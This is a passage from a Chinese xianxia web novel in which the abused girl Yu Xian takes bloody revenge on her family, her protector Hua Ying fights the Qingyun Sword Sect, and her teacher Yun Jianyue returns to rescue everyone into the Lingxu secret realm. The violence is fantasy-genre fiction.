说完,她再次看向花影,眼中带着孤注一掷的决绝:“这样,也可以吗?” 花影轻轻抚上她瘦削的肩膀,动作带着安抚的力量。 “有何不可?” “天道昭昭,报应不爽。他们种下恶因,合该自食恶果。” “今日别说你想让他们死,就算你想将这药仙谷从天地抹去,我也全力支持你。” 这话霸道嚣张至极,却带着一股令人热血沸腾的护短和绝对的偏袒。 春夏秋冬四位族老闻言,脸色顿时难看无比。 郁长林强忍着威压带来的恐惧和断臂剧痛,咬牙开口道:“花道友,郁仙是我的女儿,这是我们郁家的家事,你一个外人,插手我药仙谷内务,怕是不合适合吧?” 花影红唇勾起,眼神轻蔑。 “本君倒是第一次见,谁家的‘家事’是要将亲生女儿放血割肉,当做药人来豢养的。” “今日,别说是家事,就算是你药仙谷的祖宗从坟里爬出来求情,这人——”他手指一点郁仙,“本君也护定了!” “这仇——”他目光冷冷扫过郁家众人,“她也报定了!” 字字铿锵,句句如刀,堵得郁长林面色紫胀,所有狡辩之词在绝对的实力面前都显得苍白可笑。 “你……你别太过分!”春老咬牙开口,“我们药仙谷与合欢宗无冤无仇,你若是执意护着这丫头,就不怕两宗交恶?” 花影眼神一冷,扫了春老一眼。 春老再也压不住胸口翻腾的气血,一口鲜血喷了出来。 夏、秋、冬三老见状,脸色煞白,到了嘴边的狠话硬生生咽了回去,再不敢多言半句。 花影手腕一翻,掌心出现一柄寒光熠熠的匕首。 他将其递到郁仙面前。 “小仙儿,拿着。” “他们是如何待你的,今日,你就如何一一还回去。” “不必怕,天塌下来,有我给你撑着。” 郁仙握紧匕首,一步步朝着郁长林走去。 四位族老见状,想上前阻止,可花影只是一个冰冷的眼神扫过去—— 那眼神带着绝对的强者威压,四位族老瞬间感觉泰山压顶,灵力彻底凝滞,连动一根手指都做不到。 这就是强者对弱者的碾压,弱者连反抗的资格都没有。 郁长林看着手握匕首、眼神冰冷一步步走来的郁仙,脸上的肌肉因恐惧而抽搐。 “你……你这小贱种,你要做什么?” “做你想对我做的事。”郁仙的声音平静得可怕,匕首的寒光映在她漆黑的瞳孔里,“挖心取血,废丹挖根,你刚才不是很想做吗?” “你敢!我是你爹!”郁长林咆哮着,试图运转灵力,却发现身体在花影的威压下早已僵硬得不听使唤,连一丝灵力都提不起来。 郁仙走到他面前,看着这个给予她生命却也带给她无尽痛苦和绝望的男人。 没有犹豫,没有迟疑。 她举起匕首,对着郁长林的心口,狠狠地捅了下去。 “噗嗤——” 利器穿透血肉的声音格外清晰。 拔出。 再次一刀,这一刀捅穿了郁长林的丹田。 “啊——”郁长林连声发出杀猪般凄厉的惨叫,剧痛和死亡的恐惧笼罩着他。 郁仙面无表情地再次拔出匕首,温热的鲜血喷溅而出。 她看也没看惨叫的郁长林,一把扯下他腰间的储物袋。 颤抖着手从里面拿出那颗属于青璃的、流光溢彩的莹绿色内丹,踉跄着跑到青璃巨大的蛇头旁。 “青璃姐姐,内丹回来了,你吃下去,吃下去就好了……”她将内丹放到青璃紧闭的嘴边,带着哭腔哀求。 可青璃的蛇身早已冰冷,金色的竖瞳失去了最后一丝光彩,哪怕内丹就在嘴边,也再无法吸收半分灵力。 她早已在内丹被挖、又遭重创时,便已气息断绝。 郁仙全身剧烈地颤抖起来,大滴大滴滚烫的眼泪混合着脸上的血污,砸落在青璃冰冷失去光泽的鳞片上。 “对不起……对不起……都是我害了你……” 无边的悲痛和恨意如同火山般在她胸腔内爆发。 她猛地回头,眸子里只剩下滔天的仇恨和毁灭一切的疯狂。 她握着滴血的匕首,如同索命的修罗,朝着柳静怡冲去。 “还有你!” “啊!不要!仙儿我是娘啊——”柳静怡惊恐地尖叫求饶。 娘? 知道自己快死了,想起是她的娘了? 晚了! 郁仙眼中没有任何亲情波动,只有冰冷的杀意。 “噗嗤!”匕首精准地捅入心脏。 “呃……”柳静怡发出凄厉的惨叫,跪倒在地,死死抓着郁仙的衣角求饶:“仙儿,娘错了,娘再也不敢了,求你放过娘。” 郁仙毫不犹豫地拔出匕首,鲜血喷了她一脸。 她转向郁明轩,没有多看柳静怡一眼。 被柳静怡死死抓在手里的衣角,随着郁仙走向郁明轩,而被生生扯出来。 “疯子!你这个疯子!别过来!”郁明轩吓得涕泪横流。 郁仙一步上前,匕首再次落下:“你想挖我的心头血?现在,该你了。” “噗嗤!” “啊——” 郁明轩心口洇开大片血花。 此刻的郁仙,早已不复曾经的单纯模样,只剩下被仇恨浸透的狠戾。 郁长林、柳静怡、郁明轩三人倒在血泊中,痛苦地抽搐着,发出濒死的呻吟和含糊不清的求饶。 曾经的嚣张跋扈、虚伪恶毒荡然无存,此刻狼狈得如同三条濒死的野狗。 郁姝浑身发抖,牙齿打颤。 “轮到你了。”郁仙擦了擦脸上的血,看向早已吓得瘫软在地的郁姝,嘴角勾起一抹冰冷的笑。 郁姝浑身抖得如同筛糠,“郁仙,你别过来。” “我师尊是青云剑宗少宗主,他已经突破炼虚境了,你要是杀了我,他绝对不会放过你,他会踏平玄天宗,让你和你那些师兄师弟师妹都死无葬身之地,合欢宗也保不住你。” “楚凌风?我何曾放在眼里过。”郁仙嗤笑,一步步逼近。 “今日就算天王老子来了,你也得死!” 她手中的匕首滴着血,高高举起,眼看就要落下。 “本君倒要看看,谁敢伤我的徒儿!” 一道剑光闪过,楚凌风的身影,赫然出现在了废墟之上。 经过调养,他的伤势完全好转,周身剑气凌厉更胜往昔,显然突破炼虚境后,实力有了质的飞跃。 他目光如剑,直射向手握匕首的郁仙。 第73章 明知道是飞蛾扑火,亦——死战无悔 楚凌风刚一出现,炼虚境的剑意便如同一柄出鞘的绝世利剑,骤然爆发。 那剑意凌厉、霸道,带着剑修独有的一往无前,硬生生在花影那浩瀚如海的威压中撕开一道口子。 花影周身淡粉色的气场泛起剧烈涟漪,连空气都在剑意的切割下发出“滋滋”的轻响。 两股顶级威压在空中对撞,没有实质的轰鸣,却让整个药仙谷废墟都陷入诡异的震颤。 废墟上的碎石微微悬浮,地面的裂痕不断蔓延,空气扭曲成水波般的纹路,修为低的弟子更是捂着眼眶,感觉眼球像被无形的刀子刮过,刺痛难忍。 “花影。”楚凌风声音冰冷,“这是药仙谷与玄天宗的私怨,我劝你不要多管闲事。” 花影媚眼如丝,唇角勾着惯有的风情,眼底却淬着寒冰。 他轻轻将郁仙往身后护了护,“哦?药仙谷的事?那你这青云剑宗的少宗主,跑到别人家地盘上管闲事,又算什么?” “姝儿是本君的徒弟,她受了委屈,本君自然要管!”楚凌风的语气带着不容置疑的强硬。 “呵。”花影嗤笑一声,“仙儿是本君的侄儿,她被人放血割肉,本君可不能对不起她的一声叔叔。” 楚凌风冷喝,“郁仙心肠歹毒,残害手足,悖逆家族,此等孽障,你也敢护?” 花影笑容一收,“好一个倒打一耙,楚凌风,你眼睛若只是摆设,不如剜了喂狗!是非曲直,天理昭昭,不是你青云剑宗上下嘴皮一碰就能定论的。” 他红衣无风自动,炼虚期的威压再次攀升,与楚凌风分庭抗礼,毫不逊色。 “本君要护的人,天塌下来也轮不到外人置喙;本君要保的命,就算是这方天道,也得问过我手中的枪!” 此言一出,铿锵如金石,让在场所有合欢宗弟子精神一振,也让远处旁观的药仙谷等人心沉入谷底。 楚凌风的脸色彻底沉了下来,剑意再次暴涨,“既然你执意寻死,本君便成全你!” 两人之间再无转圜余地,战意瞬间攀升至顶点。 “青云剑宗弟子听令!”楚凌风冷然喝道,“结青云剑阵!给我杀!” “合欢宗弟子听令!”花影玉手轻挥,红衣猎猎,“布九霄剑龙阵!让他们看看,什么叫自食恶果!” 瞬间,双方弟子同时动了。 青云剑宗弟子身形如电,迅捷而有序地占据有利方位,手中长剑嗡鸣震颤,青色剑气冲天而起,交织成一张巨大的剑网。 剑网之上,无数剑光流转,如同银河泻地,带着冰冷的杀伐之气。 合欢宗的弟子也不甘示弱,八位元婴弟子布下“九霄剑龙阵”,形成九条巨大的剑龙,鳞片由剑气凝结而成,每一片都闪烁着锋利的寒光。 “杀!” 随着一声齐喝,青云剑宗的青色剑网与合欢宗的剑龙轰然相撞。 “轰——” 青色剑网瞬间被剑龙撕裂,却又在瞬间重组,将剑龙缠绕;剑龙咆哮着,试图冲破剑网,却被剑网切割得鳞片纷飞,冲击波都带着致命的杀伤力,将地面的碎石切割成灰烬,犁出一道道深沟。 郁仙被合欢宗的人护在阵眼中心,看着眼前的惨烈景象,心脏阵阵抽痛。 这些人,都是为了保护她,才浴血奋战。 她攥紧了手,指甲深深嵌入掌心,却丝毫感觉不到疼痛。 下方剑阵打得惨烈,上方花影与楚凌风的对决也已展开。 楚凌风身形化作一道撕裂长空的流光剑影,人剑合一,速度快到极致,几乎是瞬移般出现在花影面前,一剑直刺其眉心。 简单、直接、霸道! 花影红衣如火,竟不闪不避,手腕一翻,一杆通体赤红、仿佛由涅槃凤凰尾羽打造而成的华丽长枪凭空出现。 这正是他的本命法器——凤喙点苍枪。 凤喙点苍枪刚现,周围空气瞬间升温,地面的血迹被烤得滋滋蒸发,枪尖震颤的凤鸣声里,竟隐隐有凤凰虚影盘旋。 枪尖震颤,精准无比地点在楚凌风的剑尖之上。 “叮——” 枪剑交击,发出刺耳的金属撞击声,火星四溅。 两人一触即分,随即又以更快的速度战在一起。 花影的身法如鬼魅,凤喙点苍枪在他手中舞出无数枪影。 楚凌风剑法大开大合,每一剑都蕴含着劈山断岳的恐怖力量,剑气纵横肆虐。 两人交手上百回合。 花影一缕墨发被楚凌风狂暴的剑气斩断,缓缓飘落,他白皙的脸颊也被剑风划出一道细长的血痕,鲜红的血珠渗出,却为他妖异的面容增添了一分邪魅战损的美感。 他毫不在意,凤喙点苍枪反手一挑,枪尖的火焰暴涨,直逼楚凌风的小腹。 楚凌风猛地后退,双手握剑,灵力疯狂注入剑身:“青云剑诀——剑啸九天!” 霎时间,无数剑光从剑身爆发出来,如同倾盆暴雨,铺天盖地地朝着花影射去。 花影眼神一凝,凤喙点苍枪在空中划出一道完美的圆弧,枪身赤红光芒大盛,仿佛有一头火焰凤凰的虚影缠绕其上。 “凤唳九霄——破!” 一头由精纯火灵力凝聚而成的巨大火焰凤凰,发出一声震耳的唳鸣,携焚尽八荒的恐怖高温,迎着那漫天剑雨悍然撞去。 “轰隆隆——!!!” 银色的剑雨洪流与赤红的火焰凤凰狠狠地撞击在一起。 那一刻,仿佛天崩地裂。 刺眼的光芒让所有人暂时失明,恐怖的冲击波将地面再次削低三尺。 烟尘散去,两人暂时分开,悬立于空,微微喘息。 楚凌风持剑的手微微颤抖,虎口已然崩裂,鲜血顺着剑柄蜿蜒流下,滴落在废墟上。 花影的红衣破损了几处,唇角挂着一丝鲜红的血迹,衬得他肤色愈发苍白剔透。 他抬手,抹去血迹,却依旧笑着,凤喙点苍枪拄在身前,姿态优雅笑容越发妖艳危险。 啧,刚突破炼虚境就能有这般力量,楚凌风,果然有点东西。 就在这时,楚凌风突然冷笑起来:“花影,你不会天真地以为,今天真的能带着那个小野种,活着离开药仙谷吧?” 看着他那般势在必得的模样,花影心中猛地一沉,一股强烈的不祥预感涌上心头。 楚凌风蓦地提高声音,传遍整个药仙谷。 “出来吧!” 下一秒,两道比楚凌风更加深沉恐怖的气息骤然从谷外降临。 咻!咻! 两道人影飞入药仙谷,悄无声息地悬停在楚凌风身侧。 花影瞳孔骤然收缩,脸色瞬间变得无比凝重。 他认得这两人,正是青云剑宗“天地玄黄”四大峰主中的“玄”“黄”二老。 看到这两人现身,花影便知今日之事绝难善了。 两人出现后,连正在激烈碰撞的青云剑网和合欢剑龙都为之一滞,下方激战的双方弟子更是感到呼吸骤停,仿佛被无形山岳压顶。 花影毫不犹豫,身形一晃,从天而降,落回合欢宗弟子组成的九霄剑龙阵中。 他扫视一眼身边严阵以待、面带忧色的合欢宗弟子,再看向天上三人。 楚凌风见状,脸上嘲弄之色更浓:“怎么?刚才不是还很狂吗?这就怕了?” 他居高临下,用施舍般的语气说道:“花影,看在你是合欢宗宗主亲传弟子的份上,本君可以大发慈悲,给你最后一次机会。” “只要你现在跪下来,磕头求我,自废修为,本君或许可以考虑,饶你和你身后这些合欢宗弟子一条狗命。否则……今日此地,就是你们的埋骨之所。” 花影仿佛没有听到楚凌风的叫嚣。 他缓缓从储物袋里掏出了一个东西。 一个晶莹剔透、笑得傻乎乎的糖人。 他将糖人递到浑身是血、小脸苍白的郁仙面前,脸上努力挤出一个与平时无异的略带痞气的笑容。 “小仙儿,”他的声音出乎意料地温和,“听说你喜欢吃糖人?喏,花叔叔给你买的。” 郁仙猛地抬头,怔怔地看着那个糖人,又看向花影那双努力想笑却掩不住沉重的狐狸眼。 大颗大颗的眼泪瞬间弥漫了她的眼眶,不受控制地滚落下来。 这糖人,本是花影买来想讨好她这个潜力无限的炼丹小天才的,幻想着哪天能哄着她给自己多炼几炉好丹…… 却从没想过,竟会在这样的绝境下,以这样一种方式送出去。 “拿着。”他不由分说地将糖人塞进她冰凉的小手里,声音带着一丝不易察觉的沙哑,“这一次,怕是真的要交代在这了。” 他的声音很轻,带着一种必死的决绝和孤勇。 没有退路了,只有护着身后的人,哪怕粉身碎骨。 “吃啊。”他看着郁仙,眼神温柔得不像话。 郁仙颤抖着手,将糖人塞进嘴里。 “甜吗?”花影轻声问。 郁仙的喉咙哽咽得厉害,用力地、重重地点头,泪水流进嘴里,混合着糖的甜腻,变成了一种绝望的味道:“……甜。” 花影抬手,轻柔地揉了揉她沾满血污和灰尘的发顶,仿佛在告别。 随后,他不舍的收回手,所有的温柔和脆弱在瞬间收敛殆尽。 取而代之的,是一种一往无前、视死如归的坚定。 他霍然转身,凤喙点苍枪再次爆发出璀璨赤芒。 “合欢宗弟子听令!”他的声音响彻云霄,带着不容置疑的决绝,“死战,不退!” 合欢宗弟子们齐声应和,声音震彻药仙谷:“死战不退!” 话音落下,花影身影化作一道红色流光,主动迎上天上那三道身影,逆冲而上。 明知道是螳臂当车,是飞蛾扑火,亦——死战无悔! 第74章 云见月终于出现,救大家于危难 郁仙攥紧糖人,糖渣掉在手心,混着掌心的血,黏糊糊的。 她看着那道红色的身影冲向敌阵,嘴里的糖那么的苦,眼泪不断落下。 炼虚中期的玄黄二老并肩而立,炼虚初期的楚凌风持剑在前,三人的威压如同三座沉坠的巨山。 花影只觉得周身灵力的运转也滞涩起来。 可他身后,是要用生命去护的人,是曾立下天道誓言的承诺。 没有退路,一步也不能退! 花影眼中闪过一抹近乎疯狂的决绝,他猛地一咬舌尖,精纯的精血如同被点燃的烈油,轰然沸腾。 他周身原本莹润的灵光瞬间转化为刺目而妖异的血红,光芒暴涨间,炼虚初期的气息疯狂攀升,实力被强行提到了炼虚中期的骇人层级。 血色光焰将他包裹,如同燃烧的血莲,炽热得能融化金石,又悲壮得让人心颤。 这是用本源精血换来的力量,每一分每一秒,都在啃噬他的寿元、撕裂他的根基,可他握着凤喙点苍枪的手,却越来越稳。 “你竟敢燃烧精血?”楚凌风脸色骤变。 燃烧精血代价惨重至极,轻则修为倒退沦为废人,重则身死道消,魂飞魄散。 他竟为了一个无关紧要的小丫头,赌上自己的未来。 花影笑得肆意张狂,声音因力量的奔涌而带着雷鸣般的回响。 “有何不敢?承诺如山,吾命如尘,今日即便焚尽此身血,燃尽三魂火,只要我还有一口气在,你就休想动她分毫!” 此言一出,如同誓言般烙印在天地之间,其间的守护之意,让所有听到的人为之动容。 他化作一道血色长虹,一枪战三人。 凤喙点苍枪在他手中舞出漫天枪影,本命法器似乎感受到了主人的战意,发出震彻九霄的凤鸣,枪身赤红光芒大盛。 花影人枪合一,枪出如龙,撕裂空气,带着焚尽一切的烈焰和同归于尽的惨烈气势,竟一时之间将三位炼虚大能的攻势生生挡住。 血色枪影笼罩天地,哪怕经脉在反噬中不断渗血,哪怕视野因失血渐渐模糊,他依旧没有半分退缩。 凤喙点苍枪刺穿黄老的护罩,在他肩头留下一道深可见骨的伤口。 他硬接楚凌风一剑,任由剑刃划开肋骨,也要用枪尾砸中楚凌风的胸口,让他喷出一口鲜血。 可燃烧精血的代价终究太沉重。 花影的脸色越来越苍白,血色光焰渐渐黯淡,握着长枪的手开始不受控制地颤抖。 玄老抓住破绽,剑直刺他的后心。 “噗——” 花影鲜血狂喷而出,周身血焰彻底熄灭,从高空中无力地急速坠落。 “花叔叔——!!!” 郁仙撕心裂肺的哭喊声充满了无尽的绝望。 急速下坠中,花影用尽最后一丝力气,偏过头,望向地面上那个哭成泪人的小小身影,嘴唇嗫嚅了一下,声音轻得几乎消散在风里。 “小仙儿……对不起……这次……我还是没能护住你……” 就在他即将重重砸落在冰冷废墟上的刹那—— 一股刺骨的寒气突然凭空降临。 漫天风雪毫无征兆地席卷了整个药仙谷,鹅毛般的雪花纷扬洒落。 寒风呼啸中,一道白衣墨发的身影,踏着漫天飞雪而来。 她身姿纤细,白衣胜雪,青丝飞扬,未施粉黛的脸上清冷绝尘,宛若天山雪莲,清雅孤傲,眼眸如万年寒冰淡淡扫过场中人。 她直奔花影,素手轻抬,稳稳地揽住了他。 时间仿佛在这一刻慢了下来。 花影嗅到了熟悉的冷香,看清了那张近在咫尺、清丽绝伦的脸。 他瞳孔猛地放大,充满了极致的震惊与难以置信,几乎以为自己临死前出现了幻觉。 “月……月月?” “嗯,是我。”云见月低头看着花影满身的伤痕,清冷的眼眸中闪过一丝痛惜,指尖凝聚出一道柔和的灵力,轻轻按在他的丹田上,暂时压制住精血反噬的剧痛。 “你……你没死?”花影的声音带着颤抖。 “嗯。”云见月的目光扫过废墟,掠过受伤的合欢宗弟子,最终落在青璃毫无生息的巨大蛇身上,那双万年寒冰般的眸子,瞬间沉静得可怕。 郁仙早已停止了哭泣,只是瞪大了眼睛,死死地盯着那道白色的身影,整个人如同石化了一般。 她不敢呼吸,不敢动弹,生怕一点点声响就会打破这个美好得不像真实的梦境。 她小心翼翼地、一点点地向前挪动,眼睛一眨不眨,直到能清晰地感受到对方身上传来的熟悉气息…… “师……尊……?”她试探着,发出小猫般微弱而颤抖的声音。 云见月清冷的目光落在她身上,瞬间如冰川融化,只剩温柔。 “是为师,为师回来了。” 所有的恐惧、委屈、绝望和思念在这一刻如同决堤的洪水,轰然爆发! “师尊——” 郁仙不管不顾的冲过去,死死抱住了云见月的腰,将整张哭花的小脸深深地埋进她柔软的怀抱里,贪婪地呼吸着那令人安心的冷香,小小的身体哭得剧烈颤抖,几乎要晕厥过去。 “师尊,真的是师尊,仙儿不是在做梦,仙儿好想你,呜呜呜……仙儿以为再也见不到你了……呜呜呜……” “云见月?你怎么没死?!”楚凌风的声音带着惊怒。 云见月一手半抱着虚弱的花影,清冷的目光如冰刃般扫向楚凌风,“你都没死,我怎会舍得先死。” 楚凌风杀意沸腾:“好!很好!在秘境里没能彻底了结你,今日就在这里再杀你一次!” 云见月眸色骤然一冷,不再多言。 寒气以她为中心,向四面八方铺开,天上地下蔓延。 “千里冰封——” “唰!” 霎时间,天地失色! 刺骨的寒气瞬间席卷全场,楚凌风、玄老、黄老三人只觉得浑身一僵,动作瞬间被冻结。 云见月没有丝毫迟疑,就在冰封完成的瞬间,周身空间之力微微波动,带着花影、郁仙、所有合欢宗弟子以及青璃巨大的蛇尸,瞬间消失在了原地。 众人只觉一阵轻微的眩晕,周遭景象如同水纹般波动扭曲,下一刻,一股浓郁到极致的灵气便扑面而来。 “嘭!!!”幽蓝玄冰之上骤然爆发出无数裂痕。 楚凌风三人悍然挣脱了冰封。 然而,眼前早已空无一人。 “人呢?”楚凌风神识如同狂风般扫过方圆数十里,却连一丝气息都捕捉不到。 他脸色铁青得吓人,“他们怎么会凭空消失?到底去了哪里?” …… 此刻,云见月一行人已然出现在了一个完全陌生的地方。 这里的灵气浓郁得几乎化为实质的雾气,呼吸一口都让人觉得修为隐隐提升。 放眼望去,随处可见外界难得一见的千年灵草,甚至还有万年灵药在微风中摇曳,散发着各色宝光。 “这……这里是……” 合欢宗弟子们看着眼前如梦似幻的仙境,闻着那沁人心脾的药香,一个个双眼发直,震撼得说不出话来。 花影还靠在云见月怀里,用力眨了眨眼,确认自己不是死了出现幻觉,猛地一把搂住云见月的脖子,整个人几乎挂在她身上。 “月月,小月月,真的是你,你没死?呜呜呜……” “你个没良心的,知不知道我以为你死了,伤心了多久?差点把眼睛哭瞎,我还以为……这辈子都等不到你回来娶我了……你怎么才回来啊,呜呜呜……” 郁仙死死抱着云见月的腰身,哭得上气不接下气,眼泪鼻涕全都蹭在了云见月的白衣上。 一大一小挂在云见月身上,哭声二重奏响彻这片静谧的地界。 云见月:“……” 她无奈地叹了口气,没有推开他们,只是轻轻拍着两人的背,哄孩子般,任由他们宣泄情绪。 一炷香后,两人终于哭够了。 郁仙抬起满是泪痕的脸,指着不远处青璃的蛇身,又开始掉眼泪:“师尊,青璃姐姐是为了救我才死的……都是我的错……” 云见月温柔地抚摸着她的头发,从储物袋里掏出一颗通体莹白、散发着柔和光芒的果子,“别担心,她还有救。” 花影吸了吸鼻子,带着浓重的鼻音道:“月月,青璃已经气息断绝了……” 云见月没有解释,走到青璃巨大的蛇头旁,轻轻掰开她的嘴,将果子送了进去。 果子入口的瞬间,异变发生了。 磅礴如海的生机瞬间爆发,化作浓郁的绿色光芒,将青璃巨大的蛇身完全包裹。 在那生机盎然的光芒中,青璃七寸那处被挖去妖丹的可怖伤口,竟以肉眼可见的速度疯狂愈合。 短短几息之间,绿色光芒渐渐内敛。 只见地上那巨大的青蛇躯体微微动了一下,随即,那双紧闭的金色竖瞳猛地睁开。 青光一闪,巨大的蛇身消失,取而代之的是脸色还有些苍白但却完好无损的青璃。 她震惊地看着自己的双手,又看向云见月,声音充满了难以置信:“主子?你没死?还有我……我不是已经……” 郁仙惊喜万分,猛地扑进她怀里,又哭又笑:“活了!青璃姐姐你真的活了!太好了!是师尊,师尊给你吃了一个果子,你就活过来了。” “果子?” 青璃和花影同时看向云见月。 云见月手掌一翻,掌心又出现了一枚一模一样的果子。 “此果名为还阳果,乃是还阳草孕育万年方能凝结而成的天地奇果,能生死人,肉白骨,重塑丹田亦不在话下。” 还阳果? 万年一结? 众人闻言,全都倒吸一口凉气,震惊得无以复加。 花影看向四周陌生的坏境,问出了所有人心中的疑问:“月月,这到底是怎么回事?这是什么地方?” 所有人的目光都聚焦在云见月身上,等待着她的答案。 第75章 血祭四十九次,才契约秘境境珠 “这里是灵墟秘境。” 短短七个字,却让在场每一个人都愣住了。 原本因浓郁灵气而略显失神的众人,瞬间齐刷刷转头,脸上的茫然几乎要溢出来。 “灵墟秘境?不是在坠龙渊吗?” “是啊,而且灵墟秘境只允许化神期的修士进入,我们才元婴期.....”说到这,合欢宗的人又看向花影,那眼神不言而喻,花影都炼虚期了,更不可能被秘境允许进入。 何况,灵墟秘境前段时间把化神期修士都丢了出来,早就关闭了才对,怎么现在...... 所有的目光,都带着巨大的震惊和浓浓的好奇,一瞬不瞬地看着云见月,等待着她的解释。 云见月神色凝重,开始缓缓讲述自己惊心动魄的经历: “我在秘境里遇到了楚凌风,他为了杀我,吃下玄玉参王突破炼虚境,试图用雷劫劈死我......” 她声音清冷,将那场惨烈的自爆、经脉尽断的痛苦、坠入水底被暗流卷走的绝望,以及最终阴差阳错被冲到一座古老而神秘的上古祭祀法阵的过程,娓娓道来。 “……我的血顺着法阵符文漫开,意外激活了灵墟秘境的核心——秘境境珠。” “境珠开始疯狂吸收我的血液……不过片刻,我便被吸干了全身血液,死于非命。” 周遭响起一片整齐的倒吸凉气声。 哪怕眼前的云见月完好无损,可‘全身血液被吸干’的描述,还是让他们脊背发寒,仿佛能感受到那种生机被抽离的绝望。 “万幸,我此前服食过一枚还阳果,没过多久我又复活了,全身再次盈满血液,只是刚睁眼,境珠又开始吸我的血,再次将我吸干……”(注:其实是火凤凰的涅槃之力和枯荣轮回菇的轮回之力起的作用,只要肉身不破,灵魂不灭,便能无限复活,这会儿云见月还不知道) “复活……吸干……死去……再复活……” 她重复着这几个词,让所有人都能想象到那是一种何等绝望、何等痛苦的循环。 “如此反复,整整七七四十九次。” 死四十九次,活四十九次,每一次都经历全身血液被抽干的极致痛苦。 光是听着,就让人感到一股源自灵魂深处的战栗和寒意。 郁仙早已泪流满面,花影和青璃的眼中也充满了难以言喻的心疼。 “直到第四十九次祭祀完成,我才终于与境珠成功契约。” “也正是在契约达成的那一刻,秘境成为了我的所有物,本能地将所有‘外来者’尽数排斥了出去。” 楚凌风也因此捡回了一条命。 否则,即便他侥幸渡过雷劫,也绝无可能在那般兽潮下生还。 还有虞青焰,也是在她契约完成的那一刻,与镇界石碑一起被吸入了秘境之中。 众人听完,久久无言。 谁也没想到,看似平静的契约背后,是这般非人的折磨,心中震撼无以复加。 花影看着云见月,脸上露出一个异常虚弱却真心实意的笑容,声音气若游丝:“原来是这样,太好了,月月你没事就……” 话未说完,他猛地侧头,一大口鲜血喷出,脸色瞬间灰败下去,周身气息如同泄气的皮球般飞速跌落。 “花影!”云见月脸色骤变,立刻扶住他摇摇欲坠的身体,“你怎么了?” 花影还想强撑,挤出一个安抚的笑:“没……没事,一点小伤,不碍事……” 郁仙却再也忍不住,哭着道:“师尊,花叔叔为了保护我,不惜燃烧了本源精血,还被楚凌风和青云剑宗的两个峰主打成重伤,师尊求求你,救救花叔叔......” 云见月闻言大吃一惊,立刻释放出神识仔细探查花影的情况。 这一看,她的心骤然一紧。 花影体内经脉寸寸断裂,紊乱不堪,丹田气海更是濒临枯竭,修为正不可抑制地飞速下跌,眼看就要跌破炼虚期,甚至可能一路跌至谷底,沦为废人。 燃烧精血,这是在自毁道途。 “你怎么这么傻?”云见月的声音发颤,心中涌起酸楚。 花影靠在她的肩上,气息微弱,“承诺二字,重逾山岳。既答应了你,莫说是燃尽精血,便是拼上这条命,又何妨?” 他顿了顿,眼神有些涣散,却努力聚焦看着云见月,扯出一个虚弱的笑: “月月,若我成了废人,你可不要嫌弃我……” 这句话,像一根针,轻轻扎进了云见月的心尖,又酸又疼。 “我不会让你沦为废人的。”云见月的声音斩钉截铁。 她手掌一翻,还阳果再次出现在掌心。 她毫不犹豫地递到了花影唇边,“吃了它,很快就会好。” 花影瞳孔猛地一颤,难以置信地看着眼前的果子。 万年一结的还阳果。 一颗便能生死人肉白骨的天地奇珍。 她竟然……竟然就这样轻易地要给他吃? 他抬眸,漂亮的狐狸眼里情绪复杂,轻轻笑了笑,试图用玩笑掩饰内心的震动:“月月,这等宝贝你就这么轻易给我了,不心疼?” 云见月直视着他的眼睛,目光郑重而清澈,“你若成了废人,我不止心疼,更会愧疚一辈子。别说话,吃了。” 说罢,她不由分说,直接将还阳果塞进了花影嘴里。 果子入口脆甜,几乎瞬间便化作一股浩瀚而温和的暖流,涌向他四肢百骸。 暖流所过之处,寸寸断裂的经脉迅速修复、重塑,变得比以前更加坚韧宽阔。 枯竭的丹田再次被精纯的灵力填满,甚至更加充盈。 还阳果的能量不仅修复,这股力量甚至弥补了他的本源亏损。 原本飞速下跌的修为不仅瞬间稳住,更是猛地反弹回升,一路冲回炼虚初期巅峰,甚至隐隐触摸到了炼虚中期的壁垒。 不过短短几息时间,花影脸上的灰败尽去,重现红润光泽,周身气息甚至比受伤前更加浑厚磅礴。 一双狐狸眼再次变得流光溢彩,神采奕奕。 他难以置信地活动了一下手脚,感受着体内奔腾的强大力量,目光不可思议的看向云见月,狂喜之下,猛地张开手臂,一把将云见月紧紧抱进怀里,声音带着激动和后怕的哽咽: “月月,我就知道你对我最好了,呜呜呜……我刚才真的以为我快要死了……” 云见月被他抱了个满怀,又好气又好笑地推开他:“放手!男女授受不亲,你这样成何体统!” 花影凑上前,狐狸眼眨了眨,故意捏着嗓子学女子腔调:“月月~你要是嫌男女授受不亲,把我当姐妹也行,你看我这脸,比宗门里的女弟子还俊,当姐妹多般配~” 云见月:“……”这人脸皮还真是越来越厚了。 她脸上摆出一副无语凝噎的表情,但紧抿的唇角却早已不受控制地微微上扬。 郁仙仰着小脸,看着师尊和花叔叔互动,破涕为笑,一张小脸笑得傻乎乎的,满是失而复得的喜悦。 就连一向清冷如月的青璃,看着这一幕,嘴角也微微勾起,眼底多了几分暖意。 一道极其不合时宜的声音响起。 “我说你们……眼里就没别人了?再腻歪下去,这破珠子就要把我灵力抽干了,到时候秘境塌了,你们一起陪我埋这儿。”虞青焰咬着牙,声音里满是酸意又带着点委屈。 众人从温馨的氛围中惊醒,闻声望去,就看到一直盘膝坐在不远处、被他们下意识忽略了的虞青焰。 只见他脸色苍白,额角青筋凸起,正全力运转法力,双手结印,死死压制着悬浮在他面前的一颗珠子。 那珠子约有海棠果大小,通体浑圆,散发着令人心悸的浩瀚气息。 那气息仿佛蕴含着一方世界,正不断从珠体内弥漫出来,正是灵墟秘境的境珠。 “这就是灵墟秘境的境珠?”花影惊叹,“原来秘境真有核心所在,还好月月你提前吃了还阳果,不然就算找到境珠,也扛不住四十九次血祭。” 说完,他又不解的问:“虞青焰,你为何要用法力压制它?” 虞青焰喘了口气,脸色更白了些,看向云见月,意思非常明显,让她自己解释。 云见月解释道:“我虽与境珠契约,却还没完全炼化它,不彻底将其炼化,我便无法随心所欲地掌控这方秘境空间。” 她看着苦苦支撑的虞青焰,“方才为了救你们,不得已只能让虞青焰暂时压制境珠,而我强行催动境珠,才将你们全部拉进来。” 她话锋一转,语气凝重,“我没有多少时间了,若不尽快炼化境珠,这方秘境就会因为核心不稳开始坍塌,最终彻底消弭于虚无。” “虞青焰,你再坚持一会儿,我立刻返回玄天宗。” 虞青焰咬紧牙关,从牙缝里挤出两个字:“……小心!” 云见月点头,身影一闪,瞬间消失在秘境中。 …… 药仙谷废墟之上,楚凌风等人并未离去。 郁长林、柳静怡和郁明轩服用了丹药,伤势稍缓,但脸色依旧难看至极,眼中的怨毒几乎要溢出来。 